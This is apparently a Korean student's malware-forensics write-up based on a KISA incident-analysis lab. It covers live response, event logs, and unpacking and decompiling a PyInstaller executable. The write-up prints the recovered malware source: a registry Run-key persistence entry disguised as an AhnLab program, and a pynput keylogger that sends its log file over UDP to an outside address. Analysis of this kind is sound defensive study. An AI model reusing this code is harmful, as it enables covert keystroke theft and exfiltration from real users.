출처 : 키사 침해사고 분석 매뉴얼
시스템 시간 확인
date
, time
시스템 정보
psinfo
프로세스 정보
pslist -t
listdlls
로 프로세스 실행 위치 확인
악성 코드 위치 확인 : "배창수" 사용자의 바탕화면에 존재
네트워크 정보 확인
netstat -an
cports.exe
로 확인,별다른 특이사항 없었음.
promiscdetect.exe
확인. promisc 모드 사용 중이지 않음.
사용자/그룹 확인
별도의 사용자 추가는 없었음.
배창수는 누구..?
gmer.exe
로 확인, 결과 있었으나 이상 없었음
레지스트리 분석 - 시작 프로그램
autoruns
사용 불가
autostart and process view
라는 도구 사용. 이상 없음
수동 분석
Ahnlab Safe Transaction Application....
자동 실행 점검
autoruns
사용 불가로 점검 실패
자동 재시작 서비스, 스케쥴된 작업 등등
이벤트 로그 분석
이벤트 뷰어
사용.
Chang-su.Bae는 새로 생성한 1번 계정임
MAC time 분석
Launcher.exe
파일의 MAC 파일이 해당 VM 부팅시간보다 빠름.
다른 컴퓨터에서 해당 파일을 제작한 후에 옮겨온 것으로 추측.
추가적으로 JSCript 파일 발견
침입 경로 분석
Chrome 검색 기록
Chrome 다운로드 기록
Chrome, IE 검색기록에서는 의미있는 흔적 찾아볼 수 없었음.
행위 분석
키로거(경로 : %temp%\log\log.txt
)
바이러스 토탈
Launcher.exe
분석
JScript
파일들 분석
IDA
64-bit executable file.
환경 변수 _MEIPASS2
를 가져오는 모습. 이후에 파이썬에서 쓰임.
또 다른 프로세스 생성.
x64dbg
실행파일 경로와, 임시파일 발견.
CreateProcess
, WaitForSingleObject
함수 이후로 분석 불가능.
gflags
사용, 새로 생성된 process도 분석.
python으로 특정 코드를 실행하는 듯한데, 특정 코드를 가져오는 방법은 잘 모르겠다..
포기!
임시 파일 분석
무언가 파이썬을 활용해서 하는 듯한데,,
시간 부족 & 실력적 한계로 여기까지..
Detect It Easy
로 파일 확인.
PEID
는 조금 오래된 도구라고 한다. zlib archive
가 있으면 python 컴파일일 가능성이 높다고 하는 꿀팁도 배울 수 있었다.
strings
로 긁어서 파일 대략적으로 유추해보기
생각보다 strings
로 긁어보는게 분석 방향을 빨리 잡고, 시간을 단축하는 길이다.
python 사용하는 것을 바로 알 수 있었다.
놀랍게도 사용하는 모듈들과, 악성코드의 핵심이었던 keyboard
, email
등을 바로 쉽게 알 수 있었다.
WinPrefetchView
로 프리패치 파일 확인
프리패치를 통해 응용프로그램의 실행 이력 뿐만 아니라, 악성코드 로드 흔적(DLL 등), 실행한 파일 흔적(exe, zib 등), 외장저장장치 사용 흔적(경로) 등 많은 정보를 알 수 있다.
http://forensic-proof.com/archives/6103
내가 맡은 악성코드 환경에서는 모두 지워져 있었다.
exe
to pyc
, pyc
to py
디컴파일!
python으로 exe를 만드는 방법은 2가지가 있다고 한다.
그리고 그에 따른 디컴파일 도구가 존재한다.
py2exe → unpy2exe
Pyinstaller → pyinstaller-extractor
pyinstaller-extractor
를 사용해서 pyc
로 디컴파일이 가능했다.
pyc
에서 py
로 데이터를 변환할 때에는, uncompyle6
라는 도구를 사용했다.
이유는 잘 모르겠지만, 예상처럼 잘 변환이 되지 않는 것을 확인했다.
pyc의 헤더 부분을 내가 생성한 헤더로 바꿔주면 정상적으로 디컴파일이 가능하다는 정보를 가지고, 헤더부분을 변경해주기로 했다.
E3
부터가 본문 시작이고, 위의 16 바이트가 헤더이다.
(삽질을 좀 했는데, 파이썬 버전을 정확하게 맞춰주어야 디컴파일이 가능하다. 파이썬은 버전마다 pyc 헤더가 모두 다르더라!)
버전을 맞춰준 이후에는 디컴파일이 성공적으로 진행되었다.
디컴파일이 완료된 코드는 생각보다 단순했다.
from pynput.keyboard import Key, Listener
import logging, os, subprocess
subprocess.SW_HIDE = 1
r = subprocess.Popen('std.dll', shell=True).wait()
c_path = str(os.getcwd())
os.system('reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" /v "AhnLab Safe Transaction Appllcation" /t REG_SZ /d "{}\\Launcher.exe" /f'.format(c_path))
r = subprocess.Popen('Launcher.exe', shell=True).wait()
std.dll
분석
시작할 때부터 Launcher.exe
가 실행되고 있었기 때문에, 다른 파일들은 잘 보지 않았었는데 python 코드에서 std.dll
을 사용하는 것을 보고 분석해보기로 했다.
winmine.pdb
파일이 존재한다고 하여, 인터넷을 통해 구해주었다.
ida 설정을 아래와 같이 바꿔주어야 서명이 없는 pdb 파일도 사용할 수 있다.
pdb가 복구된 파일은 분석하기 너무나 좋다.
그런데! std.dll
은 악성파일이 아니었다!
파이썬 코드를 보면, std.dll
은 단순 실행만 하고, Launcher.exe
에서 나쁜 짓을 한다.
Launcher.exe
분석
위에서와 동일한 방식으로 분석을 진행, 파이썬 코드를 추출하였다.
from pynput.keyboard import Key, Listener
import logging, os, subprocess, socket, time
def on_press(key):
logging.info('"{0}"'.format(key))
if __name__ == '__main__':
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
log_path = 'C:\\tmp\\log'
buf = 1024
time.sleep(30)
if not os.path.exists(log_path):
os.makedirs(log_path)
else:
if os.path.exists(log_path + '\\log.txt'):
f = open(log_path + '\\log.txt', 'rb')
data = f.read(buf)
while data:
if sock.sendto(data, ('192.168.219.101', 8080)):
data = f.read(buf)
sock.close()
logging.basicConfig(filename=(log_path + '\\log.txt'), level=(logging.DEBUG),
format='["%(asctime)s", %(message)s]')
with Listener(on_press) as (l):
l.join()
위에서의 네트워크 분석 결과와 달리 소켓을 여는 코드가 있었는데, 다시 확인해봐도 포트 연결은 없었다. 무언가 코드가 실패한 듯하다.
+) 번외
Chang-su.BAE 그의 흔적을 찾아서..
2021년 로그가 끝일 거라고 생각했다..
그것은 나의 착각
2017년에도 활발하게 활동하던 배창수씨.
자격증명을 사용한다는 배창수씨!
이 이벤트는 프로세스에서 명시적으로 해당 계정의 자격 증명을 지정하여 계정에 로그온하려고 할 때 생성됩니다. 주로 예약된 작업과 같은 일괄 유형의 구성에서 발생하거나 RUNAS 명령을 사용할 때 발생합니다.
배창수씨 실종
2021.01.09. 03:34:42 ~ 03:55:56 무슨 일이 있었는가.
Windows update
사용자 계정 변경(1.9. 03:50:56)
Chang-su.BAE → Administrator
사용자 계정을 변경했습니다.
주체:
보안 ID: S-1-5-21-4138342279-646935400-3532290883-1000
계정 이름: Chang-su.BAE
계정 도메인: PC
로그온 ID: 0x1a318
대상 계정:
보안 ID: PC\Administrator
계정 이름: Administrator
계정 도메인: PC
변경된 특성:
SAM 계정 이름: Administrator
표시 이름: <값을 설정하지 않음>
UPN(사용자 계정 이름): -
홈 디렉터리: <값을 설정하지 않음>
홈 드라이브: <값을 설정하지 않음>
스크립트 경로: <값을 설정하지 않음>
프로필 경로: <값을 설정하지 않음>
사용자 워크스테이션: <값을 설정하지 않음>
마지막 암호 설정: 2010-11-21 오후 12:57:24
계정 만료: <작업하지 않음>
기본 그룹 ID: 513
위임하도록 허용된 대상: -
이전 UAC 값: 0x211
새 UAC 값: 0x210
사용자 계정 컨트롤:
계정 사용함
사용자 매개 변수: <값을 설정하지 않음>
SID 기록: -
로그온 시간: 모두
추가 정보:
권한: -
+) 번외 2
meipass 라는 스트링이 악성코드 중에 보여서 찾아보니, 랜섬웨어 Dablio의 일종이라고 한다.
python 모듈을 드랍해서 사용하는 점, Run registry에 자기 자신을 등록하는 점은 유사하다.
그러나 랜섬웨어 행위는 하지 않았다(휴 다행)
[랜섬웨어 분석]Python 모듈 사용하는 Dablio 랜섬웨어 감염 주의
알고보니, meipass, python 모듈은 python으로 exe를 만들 때 생기는 것이고, 관련성은 딱히 없었는 듯하다.